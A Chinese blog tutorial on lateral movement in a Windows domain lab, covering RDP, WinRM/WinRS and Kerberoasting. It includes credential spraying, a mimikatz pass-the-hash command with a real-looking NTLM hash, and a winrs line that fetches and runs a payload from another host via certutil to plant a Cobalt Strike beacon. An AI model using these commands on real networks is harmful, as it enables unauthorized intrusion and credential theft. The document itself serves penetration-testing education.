内网安全:RDP WinRS WinRM SPN Kerberos 横向移动

2024-01-29 09:12

本文主要是介绍内网安全:RDP WinRS WinRM SPN Kerberos 横向移动,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

WinRM协议

RDP协议

域横向移动:RDP协议

RDP协议利用

一. 探针服务

二. 获取NTML Hash 明文密码

三. 连接执行

域横向移动:WinRM WinRS

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

三. 上线CS

四. CS插件横向移动

域横向移动:SPN Kerberos

 通过SPN协议信息收集

Kerberoasting 攻击

攻击原理

一. SPN扫描​​​​​​​

二. 检测RC4加密的服务票据

手工检测可以攻击的票据

三. Mimikatz导出票据

四. 使用脚本破解票据


WinRM协议

WinRM是一种远程管理协议,用于在Windows操作系统上进行远程管理和命令执行。它使用基于Web服务的标准协议,如HTTP或HTTPS,并使用SOAP消息格式进行通信。WinRM提供了更全面的远程管理功能,包括执行命令、配置设置、获取系统信息、安装软件等操作。它通常与PowerShell等工具结合使用,使管理员能够远程管理和监控Windows计算机。

WinRM(Windows 远程管理)是由 Microsoft 开发的一种用于远程管理和管理员 Windows 系统的协议。它提供了一种标准化的方式来与远程计算机进行通信和执行远程管理任务。

以下是 WinRM 协议的一些关键方面:

  1. 通信协议:WinRM 基于 Web Services Management(WS-Management)标准,使用 SOAP(简单对象访问协议)通过 HTTP 或 HTTPS 进行通信。它利用行业标准的协议和技术实现安全的远程通信。

  2. 身份验证:WinRM 支持多种身份验证方法,包括 Kerberos、NTLM(NT LAN Manager)和基本身份验证。身份验证方法的选择取决于环境的配置和安全要求。

  3. 端口和终结点:WinRM 默认使用 TCP 端口 5985(HTTP)和 5986(HTTPS)。远程计算机上需要启用 WinRM 服务并配置相应的终结点,以便进行远程管理。

  4. 指令执行:使用 WinRM,管理员可以远程执行命令、脚本和 PowerShell cmdlet,从而实现对远程 Windows 计算机的管理。这使得在无需直接物理访问计算机的情况下,能够高效地进行管理和故障排除任务。

  5. 远程配置和管理:WinRM 允许管理员远程配置 Windows 系统的各个方面,如网络设置、防火墙规则、组策略和服务。它提供了一个统一的接口,从中心管理站点对远程系统进行管理。

  6. 与 PowerShell 的集成:WinRM 与 PowerShell 密切集成,PowerShell 是 Microsoft 强大的命令行 shell 和脚本语言。PowerShell cmdlet 可以利用 WinRM 进行远程命令执行和从 Windows 系统检索管理信息。

WinRM 在企业环境中常用于远程管理、自动化和远程支持等方面。它使管理员能够从一个中心管理站点高效、安全地管理大量的 Windows 计算机。

WinRS是一个命令行工具,用于在远程计算机上执行命令。它使用WinRM协议进行通信,并可以通过命令行界面或批处理脚本使用。WinRS允许管理员通过命令行方式在远程计算机上执行命令,而不需要在远程计算机上登录交互式会话。它适用于一次性执行简单命令的场景,如执行远程脚本、复制文件、查询系统信息等。

RDP协议

RDP(Remote Desktop Protocol)是一种用于远程桌面连接和远程管理的协议。它允许用户通过网络远程访问和控制远程计算机的桌面界面。

以下是RDP协议的一般工作流程:

  1. 客户端连接:用户在本地计算机上运行RDP客户端应用程序,并提供要连接的远程计算机的IP地址或主机名。

  2. 连接建立:客户端通过TCP/IP协议与远程计算机的RDP服务建立连接。默认情况下,RDP使用端口3389。

  3. 身份验证:一旦连接建立,客户端需要进行身份验证。用户输入远程计算机的用户名和密码进行认证。这些凭据将在安全的加密通道中传输,以确保安全性。

  4. 会话建立:一旦身份验证成功,远程计算机将创建一个新的用户会话,并将其桌面界面传输回客户端。客户端可以实时查看和操作远程计算机的桌面。

  5. 远程控制:客户端通过RDP协议向远程计算机发送用户输入(例如键盘和鼠标操作),远程计算机将这些输入应用于其桌面界面。客户端可以远程控制远程计算机,并执行各种操作。

  6. 会话结束:当用户关闭RDP连接或断开网络连接时,远程会话结束,并且客户端和远程计算机之间的连接被断开。

RDP协议具有良好的图形传输性能和数据压缩能力,使得远程桌面操作可以以较低的延迟和高帧率进行。它广泛应用于远程技术支持、远程管理、远程办公等场景,提供了便捷的远程访问和控制功能。

域横向移动:RDP协议

远程桌面服务 支持明文及HASH连接

条件:对方开启RDP服务 远程桌面
RDP连接:

  • 直接在当前被控主机上进行远程连接(直接在webserver进行远程连接sqlserver)
  • 建立节点进行连接(使用代理工具) 推荐
  • 端口转发(将SQLserver 3389端口的流量转发至webserver 2222端口,需要上传工具)

采用第二种方案,CS节点搭建,攻击机代理到CS上,直接攻击机上测试即可

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号

RDP协议利用

一. 探针服务

cs 内置端口扫描3389

二. 获取NTML Hash 明文密码

CrackMapExec&MSF 批扫用户名密码验证

从Webserver上扫描得到域内用户名,读取所有的NTML Hash,明文密码

从本地管理员和域用户,两个角度扫描,最终得到用户对应的密码

proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt

三. 连接执行

明文连接:win攻击机 本地 桌面远控连接

mstsc /console /v:192.168.3.32 /admin

CS插件 NTML Hash连接

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

圆孔桌面 

两个用户同时登录主机

域横向移动:WinRM WinRS

利用WinRM服务,采用WinRS连接

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。

默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:双方都启用的Winrm rs的服务!

使用此服务需要管理员级别凭据

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启WinRM协议,WinRS命令

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

WinRM协议、WinRS命令利用

一. cs 内置端口扫描5985

二.  连接执行

执行命令

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

三. 上线CS

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe webserver4444.exe & webserver4444.exe"

四. CS插件横向移动

域横向移动:SPN Kerberos

SPN协议可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

Kerberoasting 攻击:这种攻击方式是建立在没有NTML Hash或者明文密码的情况下的,可以尝试采取破解rc4加密得到明文密码,再去横向移动的思路

这两个常常结合起来一起使用,SPN探针域内服务,利用工具筛选出可利用的服务(rc4加密),逆向破解得到明文密码。

Kerberoast攻击流程:

  1. SPN服务发现
  2. 请求服务票据(工具判断与powershell脚本判断)
  3. 服务票据的导出(mimikatz导出)
  4. 服务票据的暴力破解(使用密码字典进行RC4协议破解)

如需利用需要配置策略加密方式(对比)
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。这种加密方式是可以破解的

如果选择是AES,就是安全无法逆向破解的

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

 通过SPN协议信息收集

可以收集域内主机角色以及上面的安装服务(windows相关的,不包含第三方软件)

shell setspn -T GOd.org -q */*

 根据服务筛选主机

powershell setspn -T God.org -q */* | findstr "MSSQL"

Kerberoasting 攻击

背景:拿下一台主机Win7,但是MImikatz抓取密码失败,没有获得任何的Hash,明文密码

原因:主机修改了注册表,打过补丁都有可能导致Mimikatz失败

攻击条件:票据采用RC4加密,可以采用工具Rebues检测或者查看票据加密类型

这里攻击的是服务票据,通过破解服务票据的到明文密码

攻击原理

Kerberoasting是一种针对Active Directory(AD)环境中使用Kerberos身份验证的服务的攻击技术。它利用了Kerberos协议的一个弱点,即服务账户的服务票据(Service Ticket)是基于服务账户的加密密码生成的。攻击者可以通过抓取到的服务票据离线破解该密码,并最终获取到服务账户的明文密码。

攻击的过程如下:

  1. 攻击者在AD环境中找到目标服务账户,并请求该服务账户的服务票据。

  2. AD会返回加密的服务票据给攻击者。

  3. 攻击者将加密的服务票据保存下来,离线进行破解。

  4. 攻击者使用密码破解工具(例如Hashcat)对保存的服务票据进行破解。由于服务票据是使用服务账户的密码生成的,因此攻击者可以通过尝试不同的密码来破解该密码。

  5. 一旦攻击者成功破解了服务账户的密码,他们就可以使用这个密码来登录该服务账户,获取进一步的访问权限。

一. SPN扫描

CS执行命令,在CS中探针域服务

shell setspn -T 0day.org -q */*

那个看着不方便,直接放到主机上看吧

powershell setspn -T 0day.org -q */*

得到当前域内所有主机上的服务

klist 查看当前主机的票据,每张票据的最下面表示加密的类型。TGT票据

二. 检测RC4加密的服务票据

检测方式一:利用工具

项目地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

.\Rebeus.exe kerberoast

检测出来SQL Server服务可以攻击 采用RC4 下面是Hash值

 klist查看,这工具本质也是请求服务,生成服务票据

但是没看到TGT票据,只有服务票据,很奇怪

检测方式二:手工检测,先请求生成票据,再检测

手工检测可以攻击的票据

 

三. Mimikatz导出票据

四. 使用脚本破解票据

得到明文密码,因为服务票据是提供服务的主机生成的,所以得到的明文密码也是提供服务的主机的。

这篇关于内网安全:RDP WinRS WinRM SPN Kerberos 横向移动的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/656419

相关文章

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

我在移动打工的日志

客户:给我搞一下录音 我:不会。不在服务范围。 客户:是不想吧 我:笑嘻嘻(气笑) 客户:小姑娘明明会,却欺负老人 我:笑嘻嘻 客户:那我交话费 我:手机号 客户:给我搞录音 我:不会。不懂。没搞过。 客户:那我交话费 我:手机号。这是电信的啊!!我这是中国移动!! 客户:我不管,我要充话费,充话费是你们的 我:可是这是移动!!中国移动!! 客户:我这是手机号 我:那又如何,这是移动!你是电信!!

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

用Unity2D制作一个人物,实现移动、跳起、人物静止和动起来时的动画:中(人物移动、跳起、静止动作)

上回我们学到创建一个地形和一个人物,今天我们实现一下人物实现移动和跳起,依次点击,我们准备创建一个C#文件 创建好我们点击进去,就会跳转到我们的Vision Studio,然后输入这些代码 using UnityEngine;public class Move : MonoBehaviour // 定义一个名为Move的类,继承自MonoBehaviour{private Rigidbo

简单的角色响应鼠标而移动

actor类 //处理移动距离,核心是找到角色坐标在世界坐标的向量的投影(x,y,z),然后在世界坐标中合成,此CC是在地面行走,所以Y轴投影始终置为0; using UnityEngine; using System.Collections; public class actor : MonoBehaviour { public float speed=0.1f; CharacterCo

企业安全之WiFi篇

很多的公司都没有安全团队,只有运维来负责整个公司的安全,从而安全问题也大打折扣。我最近一直在给各个公司做安全检测,就把自己的心得写下来,有什么不足之处还望补充。 0×01  无线安全 很多的公司都有不怎么注重公司的无线电安全,有钱的公司买设备,没钱的公司搞人力。但是人的技术在好,没有设备的辅助,人力在牛逼也没有个卵用。一个好的路由器、交换机、IDS就像你装备了 无尽、狂徒、杀人书一

Linux 安全弹出外接磁盘

命令行操作 首先,需要卸载硬盘上的所有分区,可以使用umount来卸载分区 清空系统缓存,将所有的数据写入磁盘 sync 列出已挂载的文件系统 使用lsblk或者df命令来查找要卸载的分区 lsblk or df -h 确保没有文件正在使用 使用lsof 命令来检查 sudo lsof |grep /dev/sdc 卸载分区 假设硬盘的分区是 /dev/sdc1,使用u

3.比 HTTP 更安全的 HTTPS(工作原理理解、非对称加密理解、证书理解)

所谓的协议 协议只是一种规则,你不按规则来就无法和目标方进行你的工作 协议说白了只是人定的规则,任何人都可以定协议 我们不需要太了解细节,这些制定和完善协议的人去做的,我们只需要知道协议的一个大概 HTTPS 协议 1、概述 HTTPS(Hypertext Transfer Protocol Secure)是一种安全的超文本传输协议,主要用于在客户端和服务器之间安全地传输数据